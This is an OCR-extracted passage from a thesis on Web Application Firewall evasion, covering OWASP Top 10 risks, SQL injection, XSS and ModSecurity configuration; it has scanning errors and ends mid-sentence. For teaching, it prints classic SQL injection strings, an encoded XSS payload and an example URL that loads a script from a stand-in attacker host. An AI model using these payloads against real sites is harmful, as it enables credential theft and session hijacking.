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ABSTRACT

In today’s digital age, web application security is a priority for organizations of all
sizes and industries. Web Application Firewalls (WAFSs) are a critical component in
defending web applications against threats and attacks. However, like all security
tools, they are subject to different evasion techniques that put the security of web
applications and sensitive data at risk. This thesis addresses the challenge of WAF's
evasion techniques through a combination of research, experimentation and devel-
opment of mitigation solutions.

The first part of this thesis will introduce web applications security describing some
of the most common vulnerabilities that can affect them such as SQL injection and
Cross-Site Scripting (XSS).

Then, we will see how Web Application Firewalls can be used to stop attackers
from exploiting some of those vulnerabilities while waiting for the developers to
patch them. In this part, particular attention will be put on ModSecurity, an open-
source Web Application Firewall, and the Core Rule Set, a set of rules developed
by the OWASP foundation to configure ModSecurity.

The third part of the thesis will contain a research on some of the most common
and effective techniques to bypass Web Application Firewalls protection. Techniques
such as finding the web server’s real IP address, payload obfuscation and impedance
mismatch will be explained in detail using some real world examples.

The last part of the thesis contains the active experimentation and testing of Web
Application Firewalls evasion techniques on a controlled environment. The testing
process involves using a known vulnerable application, the OWASP Juice Shop, pro-
tected by ModSecurity configured with the Core Rule Set. In this phase we will not
only concentrate on bypass techniques, but we will also see how Web Application
Firewalls fail to protect web applications from some kinds of vulnerabilities, such
as business logic ones. For every bypass technique that is proven successful in this
phase, we will also try to understand why it was possible and how to prevent it.

The ultimate goal of this thesis is showing how attackers are able to bypass Web Ap-
plication Firewalls protection to exploit vulnerabilities in order to understand how
to stop them and improve the overall attack detection capabilities of these tools by
implementing countermeasures for the evasion techniques seen.
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CHAPTER 1

INTRODUCTION

In today’s digital world, web applications have become essential in our daily lives.
From online banking to public administration, from social networks to online shop-
ping, nearly every digital interaction occurs through a web application.

From the user’s point of view, the introduction of web applications has been
hugely beneficial, since they allow us to perform every kind of task much faster than
before and without having to leave our homes. However, this improvement comes
with several security concerns:

. Using a web application involves transmitting personal data over the public
internet and trusting companies to securely store them.

. Web applications are constantly evolving and introducing new features. This
makes them more complex and, consequently, more prone to bugs and vulner-
abilities.

. Web applications are publicly accessible. This makes them easy targets for
attackers.

For these reasons it is crucial for companies to prioritize the security of their web
applications. Protecting a web application is a complex activity, but it can be
facilitated using various automatic tools. Among these, the most effective ones are
the Web Application Firewalls (WAFs). A WAF is a tool that is placed between
the client and the server and is able to intercept and analyze HT'TP traffic between
the two in order to detect and possibly stop certain types of attacks.

Unfortunately, a WAF alone is not enough to secure a web application, for two
reasons:

. It is not able to detect all possible kinds of attacks;
« There are techniques that allow attackers to bypass its protection.

This thesis aims at describing and demonstrating how attackers are able to bypass
the protection offered by a Web Application Firewall. In order to do this, we will
firstly describe the main vulnerabilities of web applications and how attackers are
able to exploit them. Then, we will describe how Web Application Firewalls work
and how they can be used to protect web applications, with a particular focus on
ModSecurity, which is an open-source WAF. Next, we will describe how attackers
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are able to bypass the protection offered by WAFs showcasing some real world at-
tacks. At this point, we will build our own testing environment using ModSecurity
to protect the OWASP Juice Shop, which is an intentionally vulnerable web appli-
cation, and we will use it for an hands-on demonstration on how to bypass a WAF.
Finally, we will try to understand what made the bypasses possible and we will
propose some mitigation in order to avoid them.

This document will be structured as follows:

. Chapter 2 contains an introduction to the main vulnerabilities of web appli-
cations along with some examples on how attackers are able exploit them.

. Chapter 3 explains how Web Application Firewalls work and how they can be
used to stop certain types of attacks, with a particular focus on ModSecurity,
which is an open source WAF, and the OWASP Core Rule Set, which is a set
of rules written by the OWASP to configure ModSecurity in order to stop the
most common attacks.

. Chapter 4 showcases some real world attacks in order to highlight the main
techniques that can be used to bypass the protection offered by Web Applica-
tion Firewalls.

. Chapter 5 contains an hands-on demonstration on how to bypass a WAF
using a controlled testing environment and possible mitigations for the bypass
techniques found to be successful.

. Chapter 6 concludes the thesis summarizing the achieved results and the
lessons learnt.



CHAPTER 2

WEB APPLICATIONS SECURITY

In order to understand how Web Application Firewalls work, a strong foundation
on web applications and their vulnerabilities is needed. In this chapter we will try
to build that foundation starting with a brief history of web applications. Then,
we will see how modern web applications work and which are the main technologies
involved. Next, we will describe the main vulnerabilities affecting web applications
and how attackers are able to exploit them. Finally, we will briefly introduce Web
Application Firewalls to understand their role in protecting web applications.

2.1 Brief history of web applications

Modern web applications are the result of a development process that started with
the invention of the World Wide Web (WWW) by Tim Berners Lee in 1989. At that
time, every web page was a static document written in HTML, which is a markup
language used to specify how to display the content of the document. The only
action that users could perform, was to request a document to the server, which
would than be displayed by the user’s browser [1].

The first improvement regarding interactivity of web pages took place in 1995
with the introduction of JavaScript, which is a programming language that can be
used to add dynamic elements to a web page, since it can be executed by the web
browser. This allowed the adjustment of the web page contents based on user input,
without needing to wait for the response of the web server, resulting in a much more
pleasant and efficient user experience. However, JavaScript allowed users only to
modify the way content was displayed, but not the content itself [2].

In 2005, with the introduction of the Asynchronous JavaScript and XML (AJAX)
programming model, web pages reached levels of interactivity similar to the ones of
modern web applications. The core principle of AJAX is the asynchronous commu-
nication between the client and the server, which allows users to continue interacting
with the web page while waiting for a response from the server, without having to
reload the page at every request. The AJAX model allowed the transition from
static web sites to dynamic web applications, because users were now able not only
to view the content of a web page, but also to generate and modify that content or
ask the server to perform specific tasks [3].

The final major improvement of web applications was the introduction of the
Application Programming Interfaces (APIs). An API offers a way to allow the
communication between two computers without the need of user interaction, by
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defining the rules for data exchange. APIs make web applications development
simpler and increase their functionalities [4].

2.2 How does a web application work?

We have seen how web applications evolved from the early 1990s to nowadays.
Now, we will explain more in depth how a web application works and which are the
technologies involved.

A web application is a software that allows users to perform tasks over the
internet [5]. The following figure shows the high-level structure of a web application.

PRESENTATION TIER : APPLICATION TIER z DATA TIER

Client

Web server Database server
+

Application server

Client

. o

Figure 2.1: Structure of a Web Application. Source: https://mobidev.biz/blog/web-applica
tion-architecture-types

The first thing that we notice is that, differently from a native application, a
web application is structured in multiple tiers, each one of which can be installed
and run on a different machine:

. the presentation tier, also referred to as the client-side, is the part of the web
application that the users can see and interact with through their browser;

. the application tier, also referred to as the server-side, is the part of the web
application that implements the business logic and handles requests coming
from the client;

. the data tier is the part of the web application in which permanent data are
stored.
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The typical workflow of a web application can be described as follows: “a user,
interacting with the client-side through their browser, triggers a request to the web
server, which will perform the task, eventually interacting with a database, and re-
turn the results back to the user.” Every interaction between different tiers occurs
through the HTTP protocol.

2.3 Web applications vulnerabilities

Every component of a web application is a potential source for vulnerabilities. In
order to correctly protect web applications from attackers it is essential to know
how different kinds of vulnerabilities can arise and how bad actors can exploit them.
One of the best resources to learn more about web applications vulnerabilities and
how to avoid them is the OWASP (Open Web Application Security Project) Top 10.

2.3.1 OWASP top 10

The OWASP Top 10 is a periodically updated collection of the ten most common
security risks for web applications [6]. It is important to stress the fact that a security
risk and a vulnerability are two different things: a vulnerability is a weakness in an
information system, system security procedures, internal controls, or implementation
that could be exploited or triggered by a threat source to compromise the system’s
security [7], while a security risk is a measure of the extent to which an entity is
threatened by a potential circumstance or event [8]. So, in the context of the OWASP
Top 10, every security risk category encompasses many different vulnerabilities.

Classification Methodology

The process of selecting the top ten security risks for web applications requires
different phases:

1. Information Gathering. In this phase, data about vulnerabilities discovered
in web applications is gathered from different organizations.

2. Mapping to CWESs. In this phase every vulnerability collected in the pre-
vious phase is mapped to a specific CWE (Common Weakness Enumeration).
A CWE is a standard way to describe a weakness of a system, which can be
defined as a condition in any part of a system that could contribute to the
introduction of a vulnerability [9].

3. Grouping into Risk Categories. In this phase, related CWEs are grouped
inside a single risk category.

4. Ranknig. In this phase, risk categories are ranked based on how frequent the
vulnerabilities inside them are.

The 2021 OWASP Top 10

Figure 2.2 shows the risk categories in the 2021 OWASP Top 10, which is the last
edition, and how things have changed from the previous edition.
As we can see, the categories in the 2021 version of the OWASP Top 10 are:
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2017 2021

AD1:2017-Injection = AD1:2021-Broken Access Control

AD2:2017-Broken Authentication ~ B _y_(_-'i_—'y AD2:2021-Cryptographic Failures
A03:2017-5ensitive Data Exposure = T » AD3:2021-Injection

AD4:2017-XML External Entities (XXE) s (New) ADA4:2021-Insecure Design

A05:2017-Broken Access Control il S AD5:2021-Security Misconfiguration
ADB:2017-5ecurity Misconfiguration m—— . A06:2021-Vulnerable and Qutdated Components
A07:2017-Cross-Site Scripting (XSS) - ~ "3 AD7:2021-Identification and Authentication Failures
AD8:2017-Insecure Deserialization =< {New) ADB:2021-Software and Data Integrity Failures
AD9:2017-Using Components with Known Vulnerabilities = > A09:2021-Security Logging and Monitoring Failures*
A10:2017-Insufficient Logging & Monitoring = (New) A10:2021-Server-Side Request Forgery (SSRF)*

* From the Survey

Figure 2.2: 2021 OWASP Top 10. Source: https://owasp.org/Topl0/assets/mapping.png

Broken Access Control. Access control, also known as authorization, is the
security mechanism which regulates access to resources based on the user’s
permissions. Access control vulnerabilities often lead to unauthorized disclo-
sure, modification or destruction of sensitive data. For example, an attacker
could exploit an access control vulnerability to gain access to other users data
or to portions of the application that should be visible only by administrators.

Cryptographic Failures. Cryptography protects sensitive data from unau-
thorized access both when they are in transit over the network and when they
are stored in the database. Bugs in the cryptographic algorithms used or in
their implementation could allow an attacker to obtain sensitive information
such as the user’s password.

Injection. An injection vulnerability generally arises when the application
blindly trusts the user input without validating or sanitizing it. This allows
an attacker to inject, for example, SQL commands (SQL injection), system
commands (command injection) or code snippets (code injection).

Insecure Design. This category contains the security flaws in the application
design. A security flaw in the design process is particularly risky, since it can’t
be fixed in the implementation phase. This kind of flaws often arise when the
level of security required is underestimated.

Security Misconfiguration. When configuring an application, several errors
can be committed, such as keeping unnecessary and potentially vulnerable
features active or leaving accounts with default credentials. If these errors
become exploitable vulnerabilities, they fall into this category.

Vulnerable and Outdated Components. When developing an application,
it is common to use third party components and frameworks. If these are
vulnerable, then the vulnerability is reflected in the application and can be
exploited by attackers.

Identification and Authentication Failures. Authentication is the secu-
rity mechanism that verifies if the user is really who they claim to be. Au-
thentication vulnerabilities could allow an attacker to log in the application as
another user. Authentication vulnerabilities often arise because there are no
controls against brute force attacks or because the authentication mechanism
is poorly implemented or designed.
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. Software and Data Integrity Failures. Integrity is what protects data
against unauthorized modification. An integrity violation could allow an at-
tacker to modify users data or the source code of the application.

. Security Logging and Monitoring Failures. Application logs are files
containing every action performed by the users. Analyzing the logs it is pos-
sible to detect suspicious behaviours and identify attackers. Without proper
logging and monitoring, attacks can not be detected.

. Server-Side Request Forgery. This vulnerability arises when the web ap-
plication fetches a remote resource without properly validating the user sup-
plied URL. This vulnerability allows an attacker to make the web application
send a crafted request to an unknown destination, often causing a sensitive
data leak.

Unfortunately, digging deeper into each category of the OWASP Top 10 is out of
the scope of this thesis. For this reason, only the most relevant vulnerabilities for
the goal of the thesis will be further analyzed.

2.3.2 SQL Injection

Introduction to Databases

Modern web applications have to handle a huge amount of data. To do this, a
database in which relevant information for the application are stored is almost always
required. So, when using a web application we can be quite sure that the web server
is accessing periodically the database either to retrieve some data or to store new
pieces of information.

Databases can be split into two different categories:

. Relational Databases, in which data are stored in tables organized in rows
and columns. Each row represents a unique element of the table, while each
column represent an attribute. For example, in a table named Users, each row
would represent a different user and each column would contain information
about the user such as the email, the username and the password.

. Non-Relational Database, in which data are stored using different formats such
as documents or graph nodes, depending on the database.

When using a relational database (which is the most common option), queries will
follow the Structured Query Language (SQL) syntax.

The Vulnerability

A SQL injection vulnerability occurs when a malicious actor is able to modify the
queries that the application makes to its database [10].

This kind of vulnerability can be exploited to access sensitive data stored in the
database such as users credentials or to bypass the login procedure, as we will see.
Let’s consider for example an application that lets a user filter elements using a
parameter category. Probably, the web server will execute a query similar to the
next one in order to retrieve from the database the elements to be displayed:

7
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' UNION SELECT username, password FROM users--

SELECT name, description FROM products WHERE category
= 'Gifts' UNIOCN SELECT username, password FROM users—-

{ % All passwords
A4 All usernames

Figure 2.3: SQL injection vulnerability. Source: https://portswigger.net/web-security/im
ages/sql-injection.svg

SELECT * FROM Products WHERE category=‘<user_input>’

This query will return every row in the table Products where the category column
contains a value equal to the user supplied one.

Now, if the proper checks to validate the user input are missing, an attacker
could supply the following value:

>UNION SELECT * FROM Users--

The UNION clause in SQL is used to combine the results of two separate SELECT

statements, while —- is an SQL comment. So, the query that will be executed will
be:

SELECT * FROM Products WHERE category="’
UNION SELECT * FROM Users--’

This means that all the data in the Users table will be displayed, including, prob-
ably, the users’ credentials.

Let’s now imagine an application that uses the following query to authenticate users:

SELECT * FROM Users WHERE username=°‘<username>’ AND
password=‘<password>’

If this query returns some data (the username and the password supplied are correct)
the application let’s the user log-in.
A malicious user could supply the following input:

> OR 1=1--
If the user input isn’t checked, the following query would be executed:
SELECT * FROM Users WHERE username=‘’ 0OR 1=1

This will let the attacker log in the application without having the credentials, since
this query will always return some data.
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How To Remediate

An SQL injection vulnerability has two causes:
. User input is blindly trusted.
. User input can interfere with the original query.

To best way to avoid an SQL injection vulnerability is to use the so called param-
eterized queries. In a parameterized query, user input is never interpreted as part
of the query itself, so it cannot interfere with it, even if it contains SQL commands.
Please note that, even when using parameterized queries, it is important to perform
input validation and sanitization properly.

2.3.3 Cross-Site Scripting (XSS)

Introduction to Browsers

As we already said, a browser is what the user interacts with to use a web application.
In particular, a browser is a software that is able to interpret an HI'ML document
to properly format the page that the user sees.

Browsers are also able to interpret and execute JavaScript code that can be
inserted in an HTML document, for example in a <script> tag, in order to increase
the interactivity of the client side of the application. This ability to execute code
can be exploited by attackers if they are able to inject a malicious script inside an
HTML document which is then rendered and executed by the user’s browser.

The Vulnerability

A Cross-Site Scripting vulnerability arises when an attacker is able to force the
user’s browser to execute a malicious script. This could be used to retrieve sensitive
data or to perform actions on the web application acting as the compromised user.
There are three types of Cross-Site Scripting vulnerabilities [11]:

. Reflected XSS, where the malicious script comes from the current HTTP re-
quest.

« Stored XSS, where the malicious script comes from the web server’s database;

« DOM-based XSS where the vulnerability exists on the client side of the appli-
cation.

Now we will try to understand better how each of these vulnerabilities can be ex-
ploited by attackers.
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‘ hitps:/linsecure-website.com/comment?message=<script src=https://evil-user.net/badscript.js></script>

? Sensitive data « Y

<4 4
— -
(V Mother’s maiden name)

Figure 2.4: Cross-Site Scripting. Source: https://portswigger.net/web-security/images/c
ross-site-scripting.svg

Reflected XSS Reflected Cross-Site Scripting is the simplest XSS vulnerability.
It arises when the user input sent in the HTTP response is inserted in the HTML
document sent in the response in an unsafe way.

Let’s consider for example an application that takes a query parameter message
and displays its content in an HTML tag similar to the following one:

<p>message</p>

If proper checks on user input are missing, a malicious user could use a payload like
the following one as a value for the query parameter:

<script>...</script>
This will result in an HTML document containing the following tag:
<p> <script>...</script> </p>

Now, if the victim user will visit the URL constructed by the attacker, the malicious
JavaScript code inside the <script> tag will be executed in the context of the user
session with the application, so it will be able to perform any operation that the
compromised user is allowed to do.

Stored XSS Stored Cross-Site Scripting is the most dangerous among the XSS
vulnerabilities. It is similar to the Reflected XSS, but in this case, the payload will
be stored inside the application database and will be triggered every time a user will
request the resource in which the payload is present.

Let’s consider for example a blog in which a user can insert arbitrary input in the
posts. If he is able to insert a malicious script in a blog post, then every user that
will read that post will be infected, resulting in a much bigger damage compared to
a Reflected XSS, in which the attacker is able to compromise only one victim at a
time.
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DOM XSS A DOM Cross-Site Scripting vulnerability, differently from the previ-
ous ones, arises because of bad programming practices on the client side. Typically
this involves using some JavaScript functions to process data coming from an un-
trusted source to write the results back in the HTML document.

If the attacker is able to control the input field, then they may be able to find a
way to execute the malicious script. If the input field is part of the HT'TP request,
the attacker could make other users execute the script in the same way as the

Reflected XSS.

How To Remediate

The best way to avoid XSS vulnerabilities is to ensure that all variables go through
a process of validation and sanitization. A simple way to do this is to use a pro-
gramming framework (e.g. React.js). However, even the most popular frameworks
have vulnerabilities. In order to address those vulnerabilities output encoding can
be used.

Output encoding consists in encoding unsafe user input in a way that ensures
both that the displayed content doesn’t change and that no harm can be done by
an attacker. For example, a good way to avoid XSS vulnerabilities is to HTML
encode the symbols < and > to &1t; and &gt; respectively. Doing so ensures that
the browser doesn’t interpret the user input as JavaScript code to be executed.

2.3.4 Business logic vulnerabilities

The Vulnerability

A business logic vulnerability is a design and implementation flaw of the web appli-
cation that let’s a malicious user manipulate a legitimate functionality in a way that
results in bad consequences for the application. Business logic vulnerabilities have

Login 2 root ]Ih‘ wrongpassword ]T/
) Bemoret %

incorrect Q Attempt 1
&

a Attempt 2

Attempt 3

Username/
! password
incorrect

&

Username/

Database o password
correct

%

Figure 2.5: Business Logic Vulnerability. Source: https://portswigger.net/web-security/im
ages/logic-flaws. jpg

an impact that depends on the functionality in which the vulnerability is present.
For example, a business logic vulnerability could allow an attacker to bypass the
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authentication process or to be able to purchase some items from an online shop
even if they don’t have enough money.

Remediations

Usually, a business logic vulnerability arises because flawed assumptions about the
user behaviour are made in the application design phase. This means that the
application is not able to avoid the unintended ways in which an attacker could use
its functionalities.

Preventing a business logic flaw is particularly hard, especially for big applica-
tions, because the developers don’t know the whole application. However, a good
practice to lower the risk is to maintain clear documents for all transactions and
workflows of the application in order to keep track of the assumptions made and to
be able to predict unexpected behaviours and stop them.

2.4 Web Application Firewalls

Every web application vulnerability that we have seen can be avoided by attaining to
best security practices during the entire life cycle of the application. However, it is
important to remind that perfect security doesn’t exist, so some vulnerabilities will
always be present in every system and it is important to test for them periodically
in order to patch them.

Unfortunately, the time spent patching vulnerabilities is often less than the time
spent developing new functionalities, which could introduce new vulnerabilities in
the application. This gives the attacker a lot of time to try and exploit the vulner-
abilities that they find before they are patched.

In order to gain some time and to better protect web applications it is possible
to use a Web Application Firewall (WAF), which is a tool that is able to intercept
and analyze the requests to the web application in order to stop the most common
kinds of attacks. With a WAF in place, we slow down the attacker and we gain
some time to find vulnerabilities and patch them. Nevertheless, a WAF shouldn’t
be intended as a tool to avoid patching vulnerabilities because:

. In some cases it is possible to bypass its protection.
. It isn’t able to stop every kind of attack.

Instead, it should be intended as an additional layer of security. Chapter 3 will
explain better how Web Application Firewalls work, with a particular focus on
ModSecurity, an open source WAF.

12



CHAPTER 3

WEB APPLICATION FIREWALLS:
MODSECURITY AND THE OWASP
CORE RULE SET

In Chapter 2 we introduced the main security vulnerabilities that affect web appli-
cations and we introduced the Web Application Firewalls (WAFSs) as a good security
measure to stop attackers from exploiting them while the developers try to patch
them.

In this chapter we will see in detail how a WAF works in order to understand
how it is able to stop attackers. Then, we will concentrate on ModSecurity®, which
is an open source Web Application Firewall, and its main features. Finally, we will
see how ModSecurity can be configured using the OWASP developed Core Rule Set
(CRS)%

3.1 Web Application Firewalls Explained

Figure 3.1 shows the general structure of a web application protected by a Web
Application Firewall.

4
@
T
éﬁ . %- . P .
- - Destination
- - WAF Server
e ||
L Web Application
e — Firewall
HTTP Traffic
Sources

Figure 3.1: Web Application Firewall Structure. Source: https://webscoot.io/wp-content/u
ploads/2020/07/waf-1024x463.png

https://github.com/owasp-modsecurity/ModSecurity
2https://coreruleset.org/
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As we can see the web application firewall is placed between the clients and the
server. In technical terms, the web application firewall acts as a reverse proxy for the
back-end. This means that the HT'TP requests made by the clients pass through
the web application firewall before reaching the web server, which analyzes them
using a set of rules to decide if the request is malicious. In that case the request is
blocked, otherwise it is forwarded to the web server for actual processing.

Let’s now analyze more in detail what happens inside a Web Application Firewall,
starting from figure 3.2.

+ Ingestion of data

« Understanding the data

- Tidy and manipulation of the data Checking the input
« Outlier detection

GET /findex, php?q or 1=1--

Pre-processor Mormalisation Input validation

decoding
Unicode, UTF, or Hex to base text
O Some WAFs don't perform this stage
Figure 3.2: WAF internals. Source: https://miro.medium.com/v2/resize:fit:720/format:

webp/1*_gHw6hGIzpQuprVAPFO25A. png

As we can see, a WAF typically works in three phases. The first phase, also known
as pre-processing, is the phase that contains all the preliminary operations on the
client requests. These can involve understanding which parts of the request are
worth analyzing, removing unnecessary parts from the requests and even discarding
malformed requests. The ultimate purpose of this phase is to select which requests
are worth analyzing more in detail, in order to optimize the analysis process.

The second phase, also known as mormalization, is responsible of creating an
uniform and standardized representation of input data in order to facilitate the
identification of malicious payloads. This step typically involves:

. Decoding input data to have them in their original form. This is particularly
important to avoid obfuscation of malicious payloads through character encod-
ing to bypass the WAF protection. If this step is missing, an attacker could url-
encode the payload <script>alert(1)</script> into %3c%73%63%72%69%70
hT74%3e%61%6ch65%72%74%28%31%29%3c%2£%73%63%72%69%70%74%3e to avoid
detection.

. Case Normalization to convert all the input data in the same case and make
the WAF detection capabilities case independent.
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« Unicode Normalization to ensure that equivalent Unicode characters are
represented in a consistent manner in order to prevent attackers from using
variations to bypass the WAF protection.

The normalization phase is crucial if we want to avoid WAF bypasses that leverage
upon character manipulation.

The final phase, also called input validation, is the one in which actual detection
of malicious input is performed. This phase is highly dependent on the WAF used,
but in most cases it involves comparing the input request with the WAF policies
and rules to decide if the request can be safely processed by the server or if it is a
malicious one. For example, if there is a rule that bans the keyword script, all the
requests containing it will be blocked [12].

3.1.1 WATF classification

Web Application Firewalls can be classified in:
. Stateful or Stateless, based on the amount of information they analyze;

. Allowlist or Blocklist based on how the rules for attack detection are en-
forced;

. Network-based, Host-based or Cloud-based, based on how they are de-
ployed.

Stateless vs Stateful WAF's

Early web application firewalls, also known as stateless, used static rules to detect if
an HTTP request could cause damage to the back-end server. Of course, they were
able to detect attackers much faster than a human analyzing traffic, but they were
slow in adapting to new kinds of attacks. This is because it takes time to develop
new rules to stop new attacks or evasion techniques.

Modern web application firewalls, also known as stateful, can enrich the collected
data with context information about the web applications they protect and their
possible threats. This makes them harder to bypass and better at detecting attacks
[13].

Allowlist vs Blocklist WAFs

The difference between an allowlist and blacklist WAF is quite trivial. An allowlist
Web Application Firewall blocks every request but the ones that are explicitly per-
mitted by the rules, while a blocklist WAF will allow all requests but the ones that
are explicitly forbidden by the rules.

From the security point of view, an allowlist WAF should be always preferred
because it is much more difficult to make configuration errors that would allow an
attacker to bypass its protection since the default action is to block an unknown
HTTP request.

However, configuring an allowlist WAF takes much more time because perfect
knowledge of the protected web application is needed in order to avoid blocking
legitimate requests that could result in a functionality loss. Furthermore, every
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time a new functionality is added to the web application, the WAF needs to be
reconfigured in order to permit it.

The choice between a blocklist or an allowlist WAF is highly dependent upon the
web application that needs to be protected. If the possible inputs and behaviours
of the application are perfectly known, an allowlist WAF should be preferred to
maximize security. Otherwise, a blocklist WAF should be used in order to guarantee
usability [14].

Network-based vs Host-based vs Cloud-based WAFs

Based on how they are deployed, WAFs can be classified in: network-based, host-
based and cloud-based.

A network-based web application firewall is deployed on the network perimeter and
is able to protect all the web servers inside the network. It operates by applying the
rules to all the incoming network traffic and blocking all the traffic that does not
meet them. This kind of WAF can be deployed as a dedicated hardware device or
as a software that runs on a server.

The pros of this solution are:

. The protection of all the web servers inside the network at once.

« The possibility to block traffic based on network-level information, such as 1P
addresses.

. The protection against network-based attacks.
On the other end, the cons of this solution are:
« The requirement for a dedicated hardware or software solution.
« The high cost of maintenance.
« The impossibility to have a fine grain control over the single web server.

An host-based WAF is deployed on the same machine as the web server, so it
can protect only one web application at a time. It works by inspecting all the traffic
to the web server they protect, blocking the requests that don’t respect its rules.

The pros of this solution are:

. The possibility to customize the rules based on the web application it protects,
providing more fine grained controls.

« The possibility to deploy it on any web server, without requiring additional
hardware.

Of course, the main downside of this solution is that it can only protect a single
web application at a time. So, if we have more web servers, it could require more
time and resources to configure it on each of them.

Finally, a cloud-based WAF is deployed and managed by a third party, which
offers it as a service. This means that there is no need to purchase or maintain new
hardware or software other than the one needed for the web servers. Furthermore,

16



CHAPTER 3. WEB APPLICATION FIREWALLS: MODSECURITY AND THE
OWASP CORE RULE SET

it is a solution that is easy to scale-up and can be used to protect any kind of web
application.

Of course, a third-party service is a good way to save time and resources in
maintenance, but it lowers the level of control we have and it could not provide the
same level of security as an on-premises WAF[15].

3.2 ModSecurity

Now that we have a general overview of Web Application Firewalls and how they
work, it is time to go deeper and analyze in detail one of the most common WAFs,
ModSecurity.

ModSecurity is an open source Web Application Firewall that works for different
web servers technologies, such as Nginx and Apache, and is able to protect them
form the most common web applications vulnerabilities [16].

Among the most important features of ModSecurity we have:

« HTTP Traffic Logging. This could seem a superfluous feature, since com-
mon web servers already offer the possibility to log HT'TP traffic. However,
in many cases they are not able to log request bodies, making it impossible
to detect attacks that use the HT'TP method POST. On the other hand, Mod-
Security makes full HT'TP transaction logging possible to make it easier to
detect attacks.

. Rule Based Attack Detection. ModSecurity uses a flexible rule engine that
implements the ModSecurity Rule Language, which is a programming language
through which it is possible to define rules to detect and stop various kinds of
attacks.

. Flexibility in Deployment. ModSecurity is suitable to be deployed both as
a network-based WAF or as an host-based one.

. Portability. ModSecurity is compatible with a wide range of operating sys-
tems and web server technologies.

3.2.1 Configuration Directives

ModSecurity provides a long list of directives that can be used to configure the Web
Application Firewall. In this section we will see some of the most relevant ones as
explaining all of them in detail is out of the scope for this thesis.

SecRuleEngine

This directive allows the configuration of the Rule Engine. In particular, it allows
it to be:

« On. This means that the rules are processed and executed.

. Off. This means that rules aren’t processed.
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. DetectionOnly. This means that the rules are processed, but no disruptive
action will be taken, so if a malicious request is detected it will be logged, but
it will not be blocked.

The syntax is the following:
SecRuleEngine On|0ff|DetectionOnly

SecRule

This is probably the most important directive, because it is the one that let’s us
specify rules to analyze portions of HI'TP requests and responses, also called vari-
ables, using an operator and take specific actions if the conditions specified in the
operator are met.

The general syntax is:

SecRule VARIABLES OPERATOR [ACTIONS]

It is important to note that even if specifying an action for a rule is optional,
every rule will execute an action when triggered. If no action is specified, the default
ones, configurable with the directive SecDefaultAction, will be executed. We will
go more deeply in rules writing later.

SecRuleScript

Instead of writing rules, ModSecurity lets us write Lua scripts to inspect HTTP
transactions and decide weather they are malicious or not. Then, we can include
them using the directive:

SecRuleScript /path/to/file.lua [ACTIONS]

The main difference with normal rules is that there are no variables nor operators:
the script has access to all variables in ModSecurity’s context and can use Lua syntax
to analyze them.

SecRequestBodyAccess and SecResponseBodyAccess

These two directives are used to grant or deny ModSecurity access to the request
and the response body respectively. The syntax is:

SecRequestBodyAccess|SecResponseBodyAccess On|0ff

Of course, denying ModSecurity access to the request or the response body will
improve efficiency, but it will limit the attack detection capabilities, because the
body will not be analyzed by the rules.

SecArgumentsLimit

This directive can be used to specify the maximum number of arguments accepted
for processing.
The syntax is:

SecArgumentsLimit LIMIT
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When using this directive it is recommended to write a rule to deny every request
that contains more arguments than the number specified. Otherwise an attacker
could evade detection by inserting his payload in a parameter after the last one
analyzed.

3.2.2 Processing Phases

ModSecurity allows rules to be executed in one of five phases of an HT'TP transac-
tion:

. Request Headers.
. Request Body.

. Response Headers.
. Response Body.

. Logging.

It is important to note that the data available is cumulative, so a rule in a specific
phase will have access to all the data from the previous phases of the transaction.

The phase in which a rule is executed can be specified in the actions of the
SecRule directive. For example, if we want a rule to be executed in the first phase
we will use this syntax:

SecRule VARIABLES OPERATORS "phase:1, ..."

Phase 1, Request Headers

Rules placed in the first phase will be executed immediately after the request headers
have been received. This means that they will not have any visibility on the body.

The purpose of these rules should be to do something before the request body is
processed or to specify how to process it.

Phase 2, Request Body

Rules in this phase will be the most important, since they are the ones that validate
the user input placed in the request body.

It is important to remember that ModSecurity only supports parsing for the
following body types:

. application/x-www-form-urlencoded.
. application/json.
. application/xml.

. multipart/form-data.
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Phase 3, Response Headers

Rules in this phase will be executed before sending the response headers back to the
client.
In this phase it is possible to observe the response before it happens.

Phase 4, Response Body

Rules in this phase will have access to all the data exchanged in the HT'TP trans-
action.

Typically, rules in this phase will be used to analyze the response HTML to look
for errors, information disclosures or any other relevant information for a potential
attacker.

Phase 5, Logging

Rules in this phase will have an impact only on how the logging of the transaction
takes place. This means that any disruptive action, such as blocking a malicious
request, must be executed before because in this phase it will not have any effect.

Rules in this phase are executed no matter what happened in the previous ones:
it doesn’t matter if the HT'TP transaction was a malicious or a legal one.

3.2.3 Writing Rules

As we have seen, in ModSecurity, the rules are defined using the SecRule directive
which requires three parameters:

. The variables, which are used to specify to which parts of the request or the
response the rule will inspect.

. The operators, which are used to specify the scenario in which the rule will
be triggered.

. The actions, which are used to specify what to do when the rule is triggered.

Variables

Let’s now see some of the most important variables that can be used to write rules.

ARGS is the most important variable when inspecting an HTTP request because
it is a collection containing all the parameters such as a POST request payload and
the URL parameters, so most of the user controlled input and potential payloads
for an attack are contained in this variable.

If we want to restrict the analysis on a subset of parameters we can select them
by name using the syntax ARGS:<name_of_the_parameter_to_analyze>. On the
contrary, we can exclude the parameters we don’t want to analyze using the syntax
ARGS:!'<name_of_the_parameter_to_exclude>. Of course, these operations must
be taken with caution because it is possible to exclude important parameters from
the analysis that an attacker could use to insert their payload and bypass the WAF.
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RESPONSE _BODY contains the body of the web server response and it could
be useful when we want to look for information disclosures or sensitive data expo-
sures in the response.

It is crucial to remember that this variable will be populated only if ModSecurity
has been configured to have access to the response body, otherwise any rule using
this variable will be ineffective.

FILES contains the names of the files in a request body of type multipart/form-data.
This variable could be used, for example, to verify if an attacker is trying to exploit
a file upload functionality to insert malicious code in the application. Using this
variable we can write rules to forbid some potentially dangerous file extensions such
as .aspx or .php.

It is important to note that the FILES variable will contain only the file names
in the request body, so an attacker could bypass rules using it by placing the file
name in other parts of the request.

REMOTE_ADDR contains the remote IP address of the client. This could be
useful to write rules to exclude some known malicious IP addresses or to implement
[P-based brute-force protection. However, as always when implementing controls
based on IP addresses we need to be aware that they can be changed to avoid
detection. Furthermore, if we have another reverse-proxy in front of ModSecurity,
such as a load balancer, this variable could contain an IP address that is not the
one of the user.

Operators

Once we have decided on which variables the rule will operate, we need to define
the condition for which the rule will be triggered and the corresponding actions
executed. This is done through operators. ModSecurity supports a great variety
of operators, but we will see only the most relevant for the scope of the thesis.

@rx is one of the most used operators and is also the default one. It performs a
regular expression matching of the pattern specified as a parameter to determine
whether the rule should or shouldn’t be triggered.

Regular expressions are a powerful tool because they allow detection of multiple
potential attack payloads using a single rule. For example, if we want to disallow the
